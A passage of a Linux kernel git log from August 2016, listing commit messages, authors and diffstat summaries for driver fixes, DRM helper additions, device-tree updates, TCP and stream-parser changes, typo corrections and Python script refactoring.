handler. Change the call here to a pci_reenable_device() so that it does not increment and leak the enable_cnt reference count for the device. Without this change, VF devices may fail during an unbind/bind, and we'll never zero the reference counter for the pci_dev structure. Signed-off-by: Jacob Keller Tested-by: Krishneil Singh Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/fm10k/fm10k_pci.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 986d80466712c0e8878c05328b5b5e7775c53003 Author: Geert Uytterhoeven Date: Mon Aug 15 10:04:24 2016 +0200 m68k/defconfig: Update defconfigs for v4.8-rc1 Signed-off-by: Geert Uytterhoeven arch/m68k/configs/amiga_defconfig | 3 +++ arch/m68k/configs/apollo_defconfig | 3 +++ arch/m68k/configs/atari_defconfig | 3 +++ arch/m68k/configs/bvme6000_defconfig | 3 +++ arch/m68k/configs/hp300_defconfig | 3 +++ arch/m68k/configs/mac_defconfig | 3 +++ arch/m68k/configs/multi_defconfig | 3 +++ arch/m68k/configs/mvme147_defconfig | 3 +++ arch/m68k/configs/mvme16x_defconfig | 3 +++ arch/m68k/configs/q40_defconfig | 3 +++ arch/m68k/configs/sun3_defconfig | 3 +++ arch/m68k/configs/sun3x_defconfig | 3 +++ 12 files changed, 36 insertions(+) commit 28500291c29ae2174eb0322e839cc3204d06b963 Author: Liu Ying Date: Fri Aug 26 15:30:39 2016 +0800 drm/atomic-helper: Disable appropriate planes in disable_planes_on_crtc() Currently, the helper drm_atomic_helper_disable_planes_on_crtc() calls ->atomic_disable for all planes _to be_ enabled on a particular CRTC. This is obviously wrong for those planes which are not scanning out frames when the helper is called. Instead, it's sane to disable active planes of old_crtc_state in the helper. Suggested-by: Daniel Vetter Cc: Philipp Zabel Cc: David Airlie Cc: Russell King Cc: Peter Senna Tschudin Cc: Lucas Stach Signed-off-by: Liu Ying Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1472196644-30563-3-git-send-email-gnuiyl@gmail.com drivers/gpu/drm/drm_atomic_helper.c | 16 +++++++++------- include/drm/drm_atomic_helper.h | 5 +++-- 2 files changed, 12 insertions(+), 9 deletions(-) commit c9ac8b4c5caf493fba8c43f1bd02f687ffccb429 Author: Liu Ying Date: Fri Aug 26 15:30:38 2016 +0800 drm/atomic-helper: Add atomic_disable CRTC helper callback Some display controllers need plane(s) to be disabled together with the relevant CRTC, e.g., the IPUv3 display controller for imx-drm. This patch adds atomic_disable CRTC helper callback so that old_crtc_state(as a parameter of the callback) could be used to get the active plane(s) of the old CRTC state for disable operation. Suggested-by: Daniel Vetter Cc: Philipp Zabel Cc: David Airlie Cc: Russell King Cc: Peter Senna Tschudin Cc: Lucas Stach Signed-off-by: Liu Ying Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1472196644-30563-2-git-send-email-gnuiyl@gmail.com drivers/gpu/drm/drm_atomic_helper.c | 2 ++ include/drm/drm_modeset_helper_vtables.h | 24 ++++++++++++++++++++++++ 2 files changed, 26 insertions(+) commit b9dea8613813fac124f6a323a861f9e8c0aef1d8 Author: Fabio Estevam Date: Thu Aug 25 15:05:47 2016 -0300 ARM: dts: imx7s-warp: Let the codec control MCLK pinctrl sgtl5000 codec needs MCLK clock to be provided so that it can successfully read/write via I2C, so we should better let the codec control the pinctrl for such pin. Thanks to Stefan Agner who provided the fix on Toradex's tree: http://git.toradex.com/cgit/linux-toradex.git/commit/?h=toradex_imx_4.1.15_1.0.0_ga-next&id=0a55a7e5f58d46eef0d4d1d357d89e36d0c32fa4 Signed-off-by: Fabio Estevam Signed-off-by: Shawn Guo arch/arm/boot/dts/imx7s-warp.dts | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit 3950fffdf0c088dd4d9e85c9a5a6be4c6e8b5a07 Author: Baoyou Xie Date: Sun Aug 28 13:28:15 2016 +0800 memory: omap-gpmc: make gpmc_clk_ticks_to_ns() static We get 1 warning when build kernel with W=1: drivers/memory/omap-gpmc.c:354:14: warning: no previous prototype for 'gpmc_clk_ticks_to_ns' [-Wmissing-prototypes] In fact, this function is only used in the file in which it is declared and don't need a declaration, but can be made static. so this patch marks it 'static'. Signed-off-by: Baoyou Xie Signed-off-by: Roger Quadros drivers/memory/omap-gpmc.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 0680b0cabcd0a2264f0ad8ac569caf928f65afb6 Author: Roger Quadros Date: Wed Aug 24 12:10:17 2016 +0300 memory: omap-gpmc: Fix build with CONFIG_OMAP_GPMC disabled Fix the following build failure if omap-gpmc.h is used with CONFIG_OMAP_GPMC disabled. ./include/linux/omap-gpmc.h:32:1: error: unknown type name ‘gpmc_nand_ops’ Signed-off-by: Roger Quadros include/linux/omap-gpmc.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 525fe43f55ff6d110680bb3d750bed3dda01b989 Author: Linus Walleij Date: Mon Aug 8 10:03:16 2016 +0200 memory: omap-gpmc: use devm_gpiochip_add_data() This saves a few codelines in the driver. Cc: Roger Quadros Cc: Tony Lindgren Signed-off-by: Linus Walleij Signed-off-by: Roger Quadros drivers/memory/omap-gpmc.c | 12 ++---------- 1 file changed, 2 insertions(+), 10 deletions(-) commit 3f41a3c46727283a353f9a3fd510a4fc3d1c26b5 Author: Markus Elfring Date: Sat Jul 23 18:54:02 2016 +0200 memory: omap-gpmc: Delete an unnecessary check before the function call "gpiochip_free_own_desc" The gpiochip_free_own_desc() function tests whether its argument is NULL and then returns immediately. Thus the test around the call is not needed. This issue was detected by using the Coccinelle software. Signed-off-by: Markus Elfring Signed-off-by: Roger Quadros drivers/memory/omap-gpmc.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 2a334cfaf393187d592999d1039135e000a68e9a Author: Alexey Khoroshilov Date: Fri Aug 26 03:06:02 2016 +0300 usb: gadget: goku_udc: fix memory leak in goku_probe() Memory allocated for goku_udc device is not deallocated at error paths in goku_probe(), because gadget_release() destructor is not registered yet. Found by Linux Driver Verification project (linuxtesting.org). Signed-off-by: Alexey Khoroshilov Signed-off-by: Felipe Balbi drivers/usb/gadget/udc/goku_udc.c | 2 ++ 1 file changed, 2 insertions(+) commit 01da51981d0e80ef6ccc44e48a278f70a88f6187 Author: Wolfram Sang Date: Thu Aug 25 19:39:30 2016 +0200 usb: renesas_usbhs: pipe: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Felipe Balbi drivers/usb/renesas_usbhs/pipe.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 22184917ab61e97ce5f0025027d414ce33edc752 Author: Wolfram Sang Date: Thu Aug 25 19:39:29 2016 +0200 usb: renesas_usbhs: mod_host: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Felipe Balbi drivers/usb/renesas_usbhs/mod_host.c | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) commit cb73db7d719b29e944e1394808fc5891604b908a Author: Wolfram Sang Date: Thu Aug 25 19:39:28 2016 +0200 usb: renesas_usbhs: mod_gadget: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Felipe Balbi drivers/usb/renesas_usbhs/mod_gadget.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit c4d6618e882c64ed43a8d5bd58f9cd6b4810cef1 Author: Wolfram Sang Date: Thu Aug 25 19:39:05 2016 +0200 usb: gadget: udc: udc-xilinx: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Felipe Balbi drivers/usb/gadget/udc/udc-xilinx.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 1a7c1d58c60cbd3a7b41e894108cf4c401fa7b33 Author: Wolfram Sang Date: Thu Aug 25 19:39:04 2016 +0200 usb: gadget: udc: goku_udc: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Felipe Balbi drivers/usb/gadget/udc/goku_udc.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit b8246caf895ed99c365585c11f5b5627653b2756 Author: Wolfram Sang Date: Thu Aug 25 19:39:03 2016 +0200 usb: gadget: udc: fsl_qe_udc: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Felipe Balbi drivers/usb/gadget/udc/fsl_qe_udc.c | 16 ++++------------ 1 file changed, 4 insertions(+), 12 deletions(-) commit 8bae0f8c3aa98ea2eb15c0430de5f2d58c9006bb Author: Wolfram Sang Date: Thu Aug 25 19:39:02 2016 +0200 usb: dwc2: gadget: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Felipe Balbi drivers/usb/dwc2/gadget.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit 7eee236c3818023d65502b59f1affe153eba3073 Author: Colin Ian King Date: Sun Aug 28 12:16:19 2016 +0100 usb: phy: ab8500-usb: fix spelling mistake "regester" -> "register" Trivial fix to spelling mistakes in dev_err messages. Signed-off-by: Colin Ian King Signed-off-by: Felipe Balbi drivers/usb/phy/phy-ab8500-usb.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 814cb72e25afccdd24855a26c934c1d3dfbf808e Author: Wei Yongjun Date: Sun Aug 21 15:31:35 2016 +0000 HID: intel_ish-hid: Remove duplicated include from bus.c Remove duplicated include. Signed-off-by: Wei Yongjun Acked-by: Srinivas Pandruvada Signed-off-by: Jiri Kosina drivers/hid/intel-ish-hid/ishtp/bus.c | 1 - 1 file changed, 1 deletion(-) commit 6cf5c1c7162878a99c2fd335d52a7d10079af6b7 Author: Wei Yongjun Date: Sun Aug 21 15:30:50 2016 +0000 HID: intel_ish-hid: Use kzalloc instead of kmalloc/memset Use kzalloc rather than kmalloc followed by memset with 0. Generated by: scripts/coccinelle/api/alloc/kzalloc-simple.cocci Signed-off-by: Wei Yongjun Acked-by: Srinivas Pandruvada Signed-off-by: Jiri Kosina drivers/hid/intel-ish-hid/ishtp/client-buffers.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit e8c61135956ce35fcd7661f52ed3a7e21eb86bfb Author: Wei Yongjun Date: Sun Aug 21 15:29:58 2016 +0000 HID: intel_ish-hid: Convert list_for_each to entry variant convert list_for_each() to list_for_each_entry() where applicable. Signed-off-by: Wei Yongjun Acked-by: Srinivas Pandruvada Signed-off-by: Jiri Kosina drivers/hid/intel-ish-hid/ishtp/bus.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 37becf6e603236a19660e76a3b82f9cc25972e2d Author: Wei Yongjun Date: Sun Aug 21 15:28:36 2016 +0000 HID: intel-ish-hid: use module_pci_driver to simplify the code Use the module_pci_driver() macro to make the code simpler by eliminating module_init and module_exit calls. Signed-off-by: Wei Yongjun Acked-by: Srinivas Pandruvada Signed-off-by: Jiri Kosina drivers/hid/intel-ish-hid/ipc/pci-ish.c | 13 +------------ 1 file changed, 1 insertion(+), 12 deletions(-) commit 67c0fe420ea716268b761de72ef0420b7b02bc96 Author: Wei Yongjun Date: Sun Aug 21 15:27:29 2016 +0000 HID: intel-ish-hid: use list_move_tail instead of list_del/list_add_tail Using list_move_tail() instead of list_del() + list_add_tail(). Signed-off-by: Wei Yongjun Acked-by: Srinivas Pandruvada Signed-off-by: Jiri Kosina drivers/hid/intel-ish-hid/ipc/ipc.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 6720ce18d45987b1a57edb0e36123d1bc9bc85a2 Author: Jani Nikula Date: Thu Aug 25 15:04:11 2016 +0300 drm/i915: remove leftover for_each_intel_crtc_masked The last user of for_each_intel_crtc_masked macro was removed in commit 0a9ab303b87a94115e361a7f3a15d9f481bc453b Author: Ander Conselvan de Oliveira Date: Tue Apr 21 17:13:04 2015 +0300 drm/i915: Remove all *_pipes flags from modeset Get rid of the unused macro. Cc: Ander Conselvan de Oliveira Reviewed-by: Ander Conselvan de Oliveira Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1472126651-13825-1-git-send-email-jani.nikula@intel.com drivers/gpu/drm/i915/intel_display.c | 8 -------- 1 file changed, 8 deletions(-) commit 0b498a52778368ff501557d68c7b50878ab1701e Author: Arnd Bergmann Date: Fri Aug 26 17:25:45 2016 +0200 net_sched: fix use of uninitialized ethertype variable in cls_flower The addition of VLAN support caused a possible use of uninitialized data if we encounter a zero TCA_FLOWER_KEY_ETH_TYPE key, as pointed out by "gcc -Wmaybe-uninitialized": net/sched/cls_flower.c: In function 'fl_change': net/sched/cls_flower.c:366:22: error: 'ethertype' may be used uninitialized in this function [-Werror=maybe-uninitialized] This changes the code to only set the ethertype field if it was nonzero, as before the patch. Signed-off-by: Arnd Bergmann Fixes: 9399ae9a6cb2 ("net_sched: flower: Add vlan support") Cc: Hadar Hen Zion Cc: Jiri Pirko Signed-off-by: David S. Miller net/sched/cls_flower.c | 21 +++++++++++---------- 1 file changed, 11 insertions(+), 10 deletions(-) commit f9dc70744dc74bc9e128d579f2bc85eb7c0ad8ce Author: Arnd Bergmann Date: Fri Aug 26 17:25:46 2016 +0200 net/xgene: fix error handling during reset The newly added reset logic uses helper functions for the MMIO that may fail. However, when the read operation fails, we end up writing back uninitialized data to the register, as gcc warns: drivers/net/ethernet/apm/xgene/xgene_enet_xgmac.c: In function 'xgene_enet_link_state': drivers/net/ethernet/apm/xgene/xgene_enet_xgmac.c:213:2: error: 'data' may be used uninitialized in this function [-Werror=maybe-uninitialized] drivers/net/ethernet/apm/xgene/xgene_enet_xgmac.c:209:6: note: 'data' was declared here u32 data; We already print a warning to the console log if that happens, the best alternative that I can see is skip the rest of the reset sequence if the register value cannot be read: Most likely the write would fail as well, and if it succeeded, worse things could happen. Signed-off-by: Arnd Bergmann Fixes: 3eb7cb9dc946 ("drivers: net: xgene: XFI PCS reset when link is down") Cc: Fushen Chen Signed-off-by: David S. Miller drivers/net/ethernet/apm/xgene/xgene_enet_xgmac.c | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) commit 5711a98221443aec54c4c81ee98c6ae46acccb65 Author: Vidya Sagar Ravipati Date: Fri Aug 26 01:25:50 2016 -0700 net: ethtool: add support for 1000BaseX and missing 10G link modes This patch enhances ethtool link mode bitmap to include missing interface modes for 1G/10G speeds Changes: 1000baseX is the mode introduced to cover all 1G Fiber cases. All modes under 1000BaseX i.e. 1000BASE-SX, 1000BASE-LX, 1000BASE-LX10 and 1000BASE-BX10 are not explicitly defined at this moment. 10G CR,SR,LR and ER link modes are included for 10G speed.. Issue: ethtool on 1G/10G SFP port reports Base-T as this port supports 1000baseX,10G CR, SR and LR modes. root@tor-02$ ethtool swp1 Settings for swp1: Supported ports: [ FIBRE ] Supported link modes: 1000baseT/Full 10000baseT/Full Supported pause frame use: Symmetric Receive-only Supports auto-negotiation: Yes Advertised link modes: 1000baseT/Full Advertised pause frame use: No Advertised auto-negotiation: No Speed: 10000Mb/s Duplex: Full Port: FIBRE PHYAD: 0 Transceiver: external Auto-negotiation: off Current message level: 0x00000000 (0) Link detected: yes After fix: root@tor-02$ ethtool swp1 Settings for swp1: Supported ports: [ FIBRE ] Supported link modes: 1000baseX/Full 10000baseCR/Full 10000baseSR/Full 10000baseLR/Full 10000baseER/Full Supported pause frame use: Symmetric Receive-only Supports auto-negotiation: Yes Advertised link modes: 1000baseT/Full Advertised pause frame use: No Advertised auto-negotiation: No Speed: 10000Mb/s Duplex: Full Port: FIBRE PHYAD: 0 Transceiver: external Auto-negotiation: off Current message level: 0x00000000 (0) Link detected: yes Signed-off-by: Vidya Sagar Ravipati Signed-off-by: David S. Miller include/uapi/linux/ethtool.h | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) commit a039b638592c8b967797d96f50bebfaa64964c3f Author: James Morse Date: Fri Aug 26 09:21:23 2016 +0100 amd-xgbe: Reset running devices after resume from hibernate After resume from hibernate on arm64, any amd-xgbe devices that were running when we hibernated are reported as down, even when it is not. Re-plugging the cables does not cause the interface to come back, the link must be marked as down then up via 'ip set link' using the serial console. This happens because the device has been power-cycled and possibly re-initialised by firmware, whereas the driver's memory structures have been restored from the hibernate image and the two do not agree. Schedule a restart of the device after powerup in case the world changed while we were asleep. Signed-off-by: James Morse Signed-off-by: David S. Miller drivers/net/ethernet/amd/xgbe/xgbe-main.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit c9c3321257e1b95be9b375f811fb250162af8d39 Author: Eric Dumazet Date: Sat Aug 27 07:37:54 2016 -0700 tcp: add tcp_add_backlog() When TCP operates in lossy environments (between 1 and 10 % packet losses), many SACK blocks can be exchanged, and I noticed we could drop them on busy senders, if these SACK blocks have to be queued into the socket backlog. While the main cause is the poor performance of RACK/SACK processing, we can try to avoid these drops of valuable information that can lead to spurious timeouts and retransmits. Cause of the drops is the skb->truesize overestimation caused by : - drivers allocating ~2048 (or more) bytes as a fragment to hold an Ethernet frame. - various pskb_may_pull() calls bringing the headers into skb->head might have pulled all the frame content, but skb->truesize could not be lowered, as the stack has no idea of each fragment truesize. The backlog drops are also more visible on bidirectional flows, since their sk_rmem_alloc can be quite big. Let's add some room for the backlog, as only the socket owner can selectively take action to lower memory needs, like collapsing receive queues or partial ofo pruning. Signed-off-by: Eric Dumazet Cc: Yuchung Cheng Cc: Neal Cardwell Acked-by: Neal Cardwell Signed-off-by: David S. Miller include/net/tcp.h | 1 + net/ipv4/tcp_ipv4.c | 33 +++++++++++++++++++++++++++++---- net/ipv6/tcp_ipv6.c | 5 +---- 3 files changed, 31 insertions(+), 8 deletions(-) commit 315486c665333a49be20643c9137d9641f32e2b7 Author: Andrea Merello Date: Thu Aug 25 11:04:34 2016 +0200 drm: simple_kms_helper: add support for bridges Introduce drm_simple_display_pipe_attach_bridge() and drm_simple_display_pipe_detach_bridge() in order to make it possible to use drm encoders with the simple display pipes managed by simple_kms_helpers Suggested-by: Daniel Vetter Signed-off-by: Andrea Merello Reviewed-by: Daniel Vetter Cc: Noralf Trønnes Cc: Daniel Vetter Cc: David Airlie Signed-off-by: Archit Taneja Link: http://patchwork.freedesktop.org/patch/msgid/1472115874-6219-3-git-send-email-andrea.merello@gmail.com drivers/gpu/drm/drm_simple_kms_helper.c | 40 +++++++++++++++++++++++++++++++++ include/drm/drm_simple_kms_helper.h | 5 +++++ 2 files changed, 45 insertions(+) commit 4f993973d274151975a59f50dc509ca6598be501 Author: Andrea Merello Date: Thu Aug 25 11:04:33 2016 +0200 drm: simple_kms_helper: make connector optional at init time drm_simple_display_pipe_init() pretends to attach a connector to the display pipe. In case a drm bridge has to be used, then it's the bridge that takes care of connectors. This patch makes the connector parameter optional for drm_simple_display_pipe_init(), so that a drm bridge could handle connector by itself later. Signed-off-by: Andrea Merello Reviewed-by: Daniel Vetter Cc: David Airlie Cc: Noralf Trønnes Cc: Daniel Vetter Signed-off-by: Archit Taneja Link: http://patchwork.freedesktop.org/patch/msgid/1472115874-6219-2-git-send-email-andrea.merello@gmail.com drivers/gpu/drm/drm_simple_kms_helper.c | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) commit cf3bef95e1014233cb1ce89da8cfa5cd22e7412c Author: Andrea Merello Date: Thu Aug 25 11:04:32 2016 +0200 drm/bridge: introduce bridge detaching mechanism Up to now, once a bridge has been attached to a DRM device, it cannot be undone. In particular you couldn't rmmod/insmod a DRM driver that uses a bridge, because the bridge would remain bound to the first (dead) driver instance. This patch fixes this by introducing drm_encoder_detach() and a ->detach callback in drm_bridge_funcs for the bridge to be notified about detaches. It's DRM/KMS driver responsibility to call drm_encoder_detach(). While adding the bridge detach callback, with its kerneldoc, I also added kerneldoc for attach callback. Few other kerneldocs fixes around there are included. Suggested-by: Daniel Vetter Suggested-by: Lucas Stach Signed-off-by: Andrea Merello Cc: Archit Taneja Cc: David Airlie Cc: Daniel Vetter Cc: Lucas Stach Signed-off-by: Archit Taneja Link: http://patchwork.freedesktop.org/patch/msgid/1472115874-6219-1-git-send-email-andrea.merello@gmail.com drivers/gpu/drm/drm_bridge.c | 29 +++++++++++++++++++++++++++-- include/drm/drm_crtc.h | 26 +++++++++++++++++++++++++- 2 files changed, 52 insertions(+), 3 deletions(-) commit 1a8ff8f52faebe28d145324884357fcdf33322c0 Author: Colin Ian King Date: Sun Aug 28 12:07:02 2016 +0100 cxgb4/cxgb4vf: fix spelling mistake "provissioned" -> "provisioned" Trivial fix to spelling mistake in dev_warn message. Signed-off-by: Colin Ian King Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4vf/cxgb4vf_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b9780a810b47153ee134f84a9ce6bdfef99fe1bd Author: Colin Ian King Date: Sun Aug 28 12:03:27 2016 +0100 net: ucc_geth: fix spelling mistake "propperty" -> "property" Trivial fix to spelling mistake in dev_warn message. Signed-off-by: Colin Ian King Signed-off-by: David S. Miller drivers/net/ethernet/freescale/ucc_geth.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 24a24d07d688a4625ed7e07d0a9f29127f5c7708 Author: Colin Ian King Date: Sun Aug 28 11:40:41 2016 +0100 wan/fsl_ucc_hdlc: fix spelling mistake "prameter" -> "parameter" Trivial fix to spelling mistake in dev_err message. Signed-off-by: Colin Ian King Signed-off-by: David S. Miller drivers/net/wan/fsl_ucc_hdlc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c6f04e93cb5993a5d3aaea28c50e297856b8d24c Merge: e19ac15 96a5908 Author: David S. Miller Date: Sun Aug 28 23:32:58 2016 -0400 Merge branch 'strp-generalization' Tom Herbert says: ==================== strp: Generalize stream parser to work with other socket types Add a read_sock protocol operation function that allows something like tcp_read_sock to be called for other protocol types. Specific changes in this patch set: - Add read_sock function to proto_ops. This has the same signature as tcp_read_sock. sk_read_actor_t is also defined in net.h. - Set peek_len and read_sock proto_op functions for TCPv4 and TCPv6 stream ops. - Remove references to tcp in strparser. - Call peek_len and read_sock operations from strparser instead of calling TCP specific functions. ==================== Signed-off-by: David S. Miller commit 96a59083478d1ea66684c59c073424a9d4e6ac6d Author: Tom Herbert Date: Sun Aug 28 14:43:19 2016 -0700 kcm: Remove TCP specific references from kcm and strparser kcm and strparser need to work with any type of stream socket not just TCP. Eliminate references to TCP and call generic proto_ops functions of read_sock and peek_len. Also in strp_init check if the socket support the proto_ops read_sock and peek_len. Signed-off-by: Tom Herbert Signed-off-by: David S. Miller include/net/strparser.h | 2 +- net/kcm/kcmsock.c | 30 +++++++++++++---------------- net/strparser/strparser.c | 48 ++++++++++++++++++++++++++++------------------- 3 files changed, 43 insertions(+), 37 deletions(-) commit 3203558589a597e0a10a66b258fbc5a4a6659ed0 Author: Tom Herbert Date: Sun Aug 28 14:43:18 2016 -0700 tcp: Set read_sock and peek_len proto_ops In inet_stream_ops we set read_sock to tcp_read_sock and peek_len to tcp_peek_len (which is just a stub function that calls tcp_inq). Signed-off-by: Tom Herbert Signed-off-by: David S. Miller include/net/tcp.h | 2 ++ net/ipv4/af_inet.c | 2 ++ net/ipv4/tcp.c | 6 ++++++ net/ipv6/af_inet6.c | 2 ++ 4 files changed, 12 insertions(+) commit 0294b625ad5a6d1fb50632d67cf384862d8a4a46 Author: Tom Herbert Date: Sun Aug 28 14:43:17 2016 -0700 net: Add read_sock proto_op Add new function in proto_ops structure. This includes moving the typedef got sk_read_actor into net.h and removing the definition from tcp.h. Signed-off-by: Tom Herbert Signed-off-by: David S. Miller include/linux/net.h | 6 ++++++ include/net/tcp.h | 2 -- 2 files changed, 6 insertions(+), 2 deletions(-) commit e355e0f6840fc0b407dfd4c71c774b7d617abd69 Author: Fabio Estevam Date: Tue Aug 16 22:46:42 2016 -0300 ARM: dts: imx6ul-pico-hobbit: Use WDOG_B pin reset imx6ul-pico has WDOG1_B pin connected to the PMIC. Pass the 'fsl,ext-reset-output' property so that the watchdog can trigger a system POR reset via PMIC. Signed-off-by: Fabio Estevam Signed-off-by: Shawn Guo arch/arm/boot/dts/imx6ul-pico-hobbit.dts | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit 118e81cb7307934870721312da5443913a14faa2 Author: Ken Lin Date: Fri Aug 12 13:45:11 2016 -0400 ARM: dts: imx6q-bx50v3: configure unused pca953x pins At power on, pca953x GPIO pins are configured as input and may cause unexpected interrupts. Configure the unused pins as GPO low to avoid unexpected interrupts. Signed-off-by: Ken Lin Signed-off-by: Akshay Bhat Signed-off-by: Shawn Guo arch/arm/boot/dts/imx6q-b450v3.dts | 16 +++++++++ arch/arm/boot/dts/imx6q-b650v3.dts | 9 +++++ arch/arm/boot/dts/imx6q-bx50v3.dtsi | 70 +++++++++++++++++++++++++++++++++++++ 3 files changed, 95 insertions(+) commit b5ca028fe9ba2090afdbb3a2e8362590adc42a9c Author: Christoph Fritz Date: Wed Aug 17 11:25:31 2016 +0200 ARM: dts: imx6sx: document SION necessity of ENET1_REF_CLK1 Signed-off-by: Christoph Fritz Signed-off-by: Shawn Guo arch/arm/boot/dts/imx6sx-pinfunc.h | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit ae0f74be6e3db97b23f33be2219044576525176a Author: Paul Kocialkowski Date: Sun Aug 28 19:34:46 2016 +0200 power: bq24735-charger: Assume not charging when charger is missing When the charger is missing (disconnected), it is safe to assume that the charger chip is no charging. This is especially relevant when a status GPIO is present and the charger is getting disconnected. bq24735_charger_is_charging will be triggered due to the interrupt then, it will attempt to read whether it is charging through i2c, which will fail as the charger is disconnected. This also fixes that specific issue. Signed-off-by: Paul Kocialkowski Signed-off-by: Sebastian Reichel drivers/power/supply/bq24735-charger.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit dd34b115666a1ccc69e3af52cc92c7410490f4fd Author: Masahiro Yamada Date: Wed Aug 10 20:00:48 2016 +0900 ARM: uniphier: remove SoC-specific SMP code The UniPhier architecture (32bit) switched over to PSCI. Remove the SoC-specific SMP operations. Signed-off-by: Masahiro Yamada arch/arm/include/asm/hardware/cache-uniphier.h | 20 +-- arch/arm/mach-uniphier/Makefile | 2 +- arch/arm/mach-uniphier/headsmp.S | 43 ----- arch/arm/mach-uniphier/platsmp.c | 209 ------------------------- arch/arm/mm/cache-uniphier.c | 63 +------- 5 files changed, 6 insertions(+), 331 deletions(-) commit 2f9cc12bb34a4a90f18839a5ce35e1e4d33d6413 Author: Valentin Rothberg Date: Sun Aug 28 08:51:32 2016 +0200 checkkconfigsymbols: use arglist instead of cmd string Splitting a command string could lead to unintended arguments. Use an argument list in the execute() function instead. Signed-off-by: Valentin Rothberg Signed-off-by: Greg Kroah-Hartman scripts/checkkconfigsymbols.py | 27 ++++++++++++++++----------- 1 file changed, 16 insertions(+), 11 deletions(-) commit ef3f55438d95f0bfc5d4730db6e59058647832e2 Author: Valentin Rothberg Date: Sun Aug 28 08:51:31 2016 +0200 checkkconfigsymblos: consistent symbol terminology 'symbol' and 'feature' are used synonymously to refer to Kconfig symbols (configs, menus, etc.). Use the term 'symbol' to have a consistent terminology and to make the code more comprehensible. Signed-off-by: Valentin Rothberg Signed-off-by: Greg Kroah-Hartman scripts/checkkconfigsymbols.py | 134 ++++++++++++++++++++--------------------- 1 file changed, 67 insertions(+), 67 deletions(-) commit 36c79c7face54ca10e2b57f42cfc956a53246c10 Author: Valentin Rothberg Date: Sun Aug 28 08:51:30 2016 +0200 checkkconfigsymbols.py: fix pylint and pep8 warnings Fix pylint and pep8 warnings to have a consistent syntax and style. Signed-off-by: Valentin Rothberg Signed-off-by: Greg Kroah-Hartman scripts/checkkconfigsymbols.py | 18 ++++++++---------- 1 file changed, 8 insertions(+), 10 deletions(-) commit 14390e31641e6fb482ad75b7f46bc54d798f8b87 Author: Valentin Rothberg Date: Sun Aug 28 08:51:29 2016 +0200 checkkconfigsymbols: use ArgumentParser Replace the deprecated OptionParser with ArgumentParser, as recommended by pylint. Signed-off-by: Valentin Rothberg Signed-off-by: Greg Kroah-Hartman scripts/checkkconfigsymbols.py | 142 ++++++++++++++++++++--------------------- 1 file changed, 69 insertions(+), 73 deletions(-) commit 7c5227af25a1bee7c577162bd55600dae8023f5a Author: Valentin Rothberg Date: Sun Aug 28 08:51:28 2016 +0200 checkkconfigsymbols.py: port to Python 3 Python 2 is slowly dying, so port the script to Python 3. Signed-off-by: Valentin Rothberg Signed-off-by: Greg Kroah-Hartman scripts/checkkconfigsymbols.py | 33 +++++++++++++++++---------------- 1 file changed, 17 insertions(+), 16 deletions(-) commit 3ed6d3cb14097218629ace56aa1a2d0a862b3125 Author: Joachim Eastwood Date: Fri May 6 08:57:49 2016 +0200 ARM: dts: lpc18xx: configure dwmac properly Configure the DWMAC FIFO sizes, burst length and threshold DMA mode on LPC18xx/43xx SoCs. These parameters are needed for correct operation of the Ethernet MAC. The DWMAC on LPC18xx/43xx does not support RSF DMA mode and therefore must use threshold mode. Signed-off-by: Joachim Eastwood arch/arm/boot/dts/lpc18xx.dtsi | 4 ++++ 1 file changed, 4 insertions(+) commit 143778ebc8c97f74b16feca4da7736cdf69f7a9a Author: Guenter Roeck Date: Tue Jul 5 09:44:33 2016 -0700 ARM: dts: lpc4350-hitex-eval: fix binding for SE97 i2c device The 'compatible = "nxp,jc42"' binding only happened to work because the Linux driver is named jc42. The driver now supports generic bindings for JC-42 compatible chips, so use the generic binding instead. Signed-off-by: Guenter Roeck Signed-off-by: Joachim Eastwood arch/arm/boot/dts/lpc4350-hitex-eval.dts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit af346f5570f208dcfb319f1214fcf8ca310c6fdd Author: Wei Yongjun 